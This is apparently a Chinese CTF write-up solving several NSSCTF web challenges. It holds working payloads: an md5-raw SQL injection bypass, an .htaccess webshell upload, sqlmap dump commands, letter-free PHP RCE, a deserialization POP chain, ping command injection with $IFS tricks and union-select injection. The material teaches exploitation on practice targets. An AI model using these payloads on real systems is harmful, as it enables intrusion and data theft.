NSSSCTF做题(2)

1.[BJDCTF 2020]easy_md5

 打开页面发现没什么东西,只有一个提交表单,然后url会显示你提交的信息

NSSSCTF做题(2)_第1张图片

源代码里也看不到什么 ,用dirsearch扫一下,这些是扫出来的数据

NSSSCTF做题(2)_第2张图片

 抓包看到了提示

NSSSCTF做题(2)_第3张图片

 hint: select * from 'admin' where password=md5($pass,true)

在密码加密的过程中,password=md5($pass,true)中的true表示将结果以二进制形式返回。在PHP中,md5()函数默认将结果以32位的十六进制字符串形式返回,而添加true参数后,将以16个字节的二进制字符串形式返回。

ffifdyop转化为二进制之后前面正好是‘ or ’6-------

(这个也是个之前学过的知识点,但是给忘了)

ffifdyop——绕过中一个奇妙的字符串
ffifdyop经过md5加密后为:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or’6<乱码> 即 'or’66�]��!r,��b

用途:select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1 可以实现sql注入

框里输入 ffifdyop,发现成功绕过

NSSSCTF做题(2)_第4张图片 找到了源码

NSSSCTF做题(2)_第5张图片 分析源码

 

 成功进入下一个页面

NSSSCTF做题(2)_第6张图片

 继续审计

error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){//还是数组绕过

    echo $flag;
}
 

 得到flagNSSSCTF做题(2)_第7张图片

 [SWPUCTF 2021 新生赛]easyupload3.0

他还提示试试和某些文件配合  

 NSSSCTF做题(2)_第8张图片

上传.htaccess文件成功

NSSSCTF做题(2)_第9张图片

 上传图片马成功,用蚁剑连接

NSSSCTF做题(2)_第10张图片 连接成功NSSSCTF做题(2)_第11张图片

找到flag 没有技术含量

[LitCTF 2023]我Flag呢?

NSSSCTF做题(2)_第12张图片

在源码里找到flag

NSSSCTF做题(2)_第13张图片[SWPUCTF 2021 新生赛]error

输入1' and 1=1 发现报错

确定是SQL注入,再试试看看是什么类型的注入

NSSSCTF做题(2)_第14张图片

没变化,用sqlmap跑一下

NSSSCTF做题(2)_第15张图片

跑出来了,开始注入

 查数据库

 sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" --dbs -batch

NSSSCTF做题(2)_第16张图片

查表名

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db --tables

NSSSCTF做题(2)_第17张图片

查列名

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db -T test_tb --columns 

 NSSSCTF做题(2)_第18张图片

查字段内容

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db -T test_tb -C flag --dump 

 得到flag

NSSSCTF做题(2)_第19张图片

[SWPUCTF 2021 新生赛]hardrce

php代码审计

NSSSCTF做题(2)_第20张图片 简单写了一下

  header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))//get传参
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];//黑名单
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {//正则限制 /,/m,黑名单
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))//正则限制字母
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";//全部绕过之后
eval($wllm);//eval危险函数执行
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

php eval()函数

(PHP 4, PHP 5, PHP 7, PHP 8)

eval — 把字符串作为PHP代码执行

说明 eval(string $code)

把字符串 code 作为PHP代码执行。

    函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。
    如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。

看了这些之后还是没思路,然后看到提示说是无字母rce

去网上找了无字母rce的内容

下边是办法

异或(^)达到命令执行

要求的符号: ^

取反(~)达到命令执行

要求的符号:~

或(|)达到命令执行

要求的符号:|

自增自减(++,–)达到命令执行

要求的符号:"$", “.”, “_”, “=”,"+" 和一些其他的符号。

这里我只做简单概述,具体的我也没有学清楚

推荐大佬的博客:

奇安信攻防社区-PHP正则表达式绕过姿势之异或绕过(PHP正则表达式绕过姿势之异或绕过)

web安全-PHP-url编码取反绕过正则-思考_Red snow的博客-CSDN博客

这道题没过滤 |,~ 可以考虑或和取反绕过

构造payload:

我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到

NSSSCTF做题(2)_第21张图片 得到flag的文件NSSSCTF做题(2)_第22张图片

 接着取反NSSSCTF做题(2)_第23张图片

得到flag

NSSSCTF做题(2)_第24张图片 这道题主要还是正则绕过吧,异或取反自增很重要,要恶补一下

[LitCTF 2023]PHP是世界上最好的语言!! 

 

打开发现是这样的

直接一个命令执行,结束

NSSSCTF做题(2)_第25张图片 [SWPUCTF 2021 新生赛]pop

代码审计 涉及到反序列化


error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>
 

解析代码 :

  1. :这是PHP的开始标记,表示代码是PHP脚本。

  2. error_reporting(0);:这行代码设置PHP错误报告级别为0,意味着禁止显示错误信息。这可能是为了隐藏脚本中的潜在漏洞。

  3. show_source("index.php");:这行代码调用了show_source()函数来显示当前脚本文件(index.php)的源代码。

  4. class w44m{...}:这是一个名为w44m的类的定义。它包含了一个私有成员变量admin和一个受保护的成员变量passwd,以及一个公共方法Getflag()Getflag()方法检查adminpasswd的值是否为特定的字符串,如果匹配则包含并显示flag.php文件的内容,否则显示一些其他信息。

  5. class w22m{...}:这是一个名为w22m的类的定义。它包含一个公共成员变量w00m和一个特殊的魔术方法__destruct()__destruct()方法在对象销毁时自动调用,并输出w00m的值。

  6. class w33m{...}:这是一个名为w33m的类的定义。它包含两个公共成员变量w00mw22m,以及一个特殊的魔术方法__toString()__toString()方法在将对象作为字符串使用时自动调用,并通过调用w00m对象的$w22m方法来执行一些操作,然后返回0。

  7. $w00m = $_GET['w00m'];:这行代码从URL参数中获取名为w00m的值,并将其赋给变量$w00m

  8. unserialize($w00m);:这行代码使用unserialize()函数对$w00m进行反序列化。反序列化是将之前序列化的数据重新转换为PHP对象的过程。在这段代码中,它的目的是将$w00m的值反序列化为一个对象。

 php脚本:

class w44m{

    private $admin;
    protected $passwd;
    public function __construct(){
        $this->admin="w44m";
        $this->passwd="08067";
        
    }
    }
class w22m{
    public $w00m;
    public function __construct($c){
    $this->w00m=$c;
    
    }
}
class w33m{
    public $w00m;
    public $w22m="Getflag";
    public function __construct($p){
     $this->w00m=$p;
    }
}
$x=new w44m();
$b=new w33m($x);
$d=new w22m($b);
echo urlencode(serialize($d));
?>

解释:

它创建了三个类w44mw22mw33m,并实例化这些类来生成一个序列化后的对象,并对其进行URL编码后输出。

下面是代码的解释:

  1. class w44m{...}:这是一个名为w44m的类的定义。它包含了一个私有成员变量admin和一个受保护的成员变量passwd,以及一个构造函数__construct()。构造函数在创建类的实例时被调用,并设置adminpasswd的值为w44m08067

  2. class w22m{...}:这是一个名为w22m的类的定义。它包含一个公共成员变量w00m和一个构造函数__construct()。构造函数接受一个参数$c,并将其赋值给w00m成员变量。

  3. class w33m{...}:这是一个名为w33m的类的定义。它包含两个公共成员变量w00mw22m,以及一个构造函数__construct()。构造函数接受一个参数$p,并将其赋值给w00m成员变量。

  4. $x=new w44m();:这行代码创建了一个w44m类的实例,并将其赋值给变量$x

  5. $b=new w33m($x);:这行代码创建了一个w33m类的实例,并将之前创建的w44m实例$x作为参数传递给构造函数。然后将该实例赋值给变量$b

  6. $d=new w22m($b);:这行代码创建了一个w22m类的实例,并将之前创建的w33m实例$b作为参数传递给构造函数。然后将该实例赋值给变量$d

  7. echo urlencode(serialize($d));:这行代码对$d进行序列化,然后使用urlencode()函数对序列化后的结果进行URL编码,并将编码后的结果输出。

 得到flagNSSSCTF做题(2)_第26张图片

payload:O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

[NSSCTF 2022 Spring Recruit]ezgame 

提示 超过65分会给flag

NSSSCTF做题(2)_第27张图片 在前端js代码中找到NSSSCTF做题(2)_第28张图片

[GXYCTF 2019]Ping Ping Ping 

输入127.0.0.1 | ls /

NSSSCTF做题(2)_第29张图片 输入system('ls');

NSSSCTF做题(2)_第30张图片

输入127.0.0.1

NSSSCTF做题(2)_第31张图片

ping命令执行的相关

127.0.0.1&&+code  只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code  &表示将任务置于后台执行
127.0.0.1||+code  只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code  | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code  多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

127.0.0.1;ls

NSSSCTF做题(2)_第32张图片

找到了flag.php

cat一下

?ip=127.0.0.1%3Bcat$IFS$1flag.php

NSSSCTF做题(2)_第33张图片

 发现不行,用拼接字符串的方式来绕过

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php 

NSSSCTF做题(2)_第34张图片

[SWPUCTF 2021 新生赛]sql

告诉参数是wllm,尝试sqlmap注入

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -dbs -batch

找到数据库名称

NSSSCTF做题(2)_第35张图片 

查列名

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db --tables

NSSSCTF做题(2)_第36张图片 

 查字段

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db -T test_tb --columns

NSSSCTF做题(2)_第37张图片 

查字段内容

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db -T test_tb -C flag --dump

NSSSCTF做题(2)_第38张图片

发现这个flag是错的,还是要自己手注,等这个周末会专攻一下sql手注,老是用工具跑还是不会

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23

NSSSCTF做题(2)_第39张图片 

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/test_db.LTLT_flag%23 

NSSSCTF做题(2)_第40张图片 

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/test_db.LTLT_flag%23 

NSSSCTF做题(2)_第41张图片 主要涉及到的就是空格绕过

 

 

 

你可能感兴趣的:(java,前端,开发语言)